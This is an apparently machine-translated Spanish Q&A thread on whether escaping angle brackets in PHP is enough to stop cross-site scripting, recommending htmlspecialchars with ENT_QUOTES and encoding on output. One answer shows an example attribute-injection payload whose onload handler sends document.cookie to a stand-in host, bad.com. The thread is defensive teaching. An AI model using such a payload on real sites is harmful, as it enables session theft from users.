2010-01-22 10 views

Respuesta

16

Depende mucho del contexto.

Salida este ejemplo, desde un sitio del foro típica ...

Usted puede hotlink su imagen de avatar. Ingrese la URL completa.

usuario malicioso entra en el campo de entrada

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

No hay codificación no menor que y mayor que, pero sigue siendo un gran agujero de seguridad.

Con htmlspecialchars(), me pareció una buena idea crear (o usar) una función de envoltura que arroje a una cadena, proporciona una manera más fácil de deshabilitar la codificación doble (si es necesario) y asegurarse de que está utilizando la correcta juego de caracteres de tu aplicación. Kohana tiene un great example.

+0

hola, gracias a todos por las respuestas, pregunté esto porque creo que la incorporación de todos los personajes requiere más espacio en la base de datos. gracias – Ryan

+10

No codificaría entrar en el db, pero codificar para salir. En general, es una buena idea almacenar los datos del usuario "tal como están" y proporcionar algún mecanismo para que sea seguro en la pantalla. – alex

+0

Estoy totalmente de acuerdo con el enfoque de "manténgalo enfocado hasta que llegue a la página", sin embargo, desaconsejaré encarecidamente la "deshabilitación de las comillas dobles", ya que afectará sus cadenas de caracteres. Por ejemplo, si quiero decir '&' en una publicación que habla de HTML como este, la opción no podrá escapar a '& amp;' en la fuente y, por lo tanto, aparecerá como '&' en la pantalla , haciéndome parecer un idiota. La codificación es un proceso, no un estado. – bobince

6

Usted debe también tener comillas dobles ", singlequotes ' y símbolos de unión & en cuenta. Si hace eso todos durante mostrando/generando el resultado, entonces sí, es suficiente.

Sólo debe asegurarse que haga esto para cualquier de entrada controlada por el usuario, tales como parámetros de la petición, solicitud de URL, cabeceras de petición y de entrada controlada por el usuario que se ha almacenado en un almacén de datos.

En PHP puede hacerlo con htmlspecialchars() y en JSP cou puede hacerlo con JSTL <c:out>.

+2

Note ' htmlspecialchars' de forma predeterminada solo escapa de la doble cita, no solo. Pero eso generalmente está bien, ya que es bastante raro usar la comilla simple como un delimitador de atributo. Use 'ENT_QUOTES' para asegurarse de obtener ambos. – bobince

Cuestiones relacionadas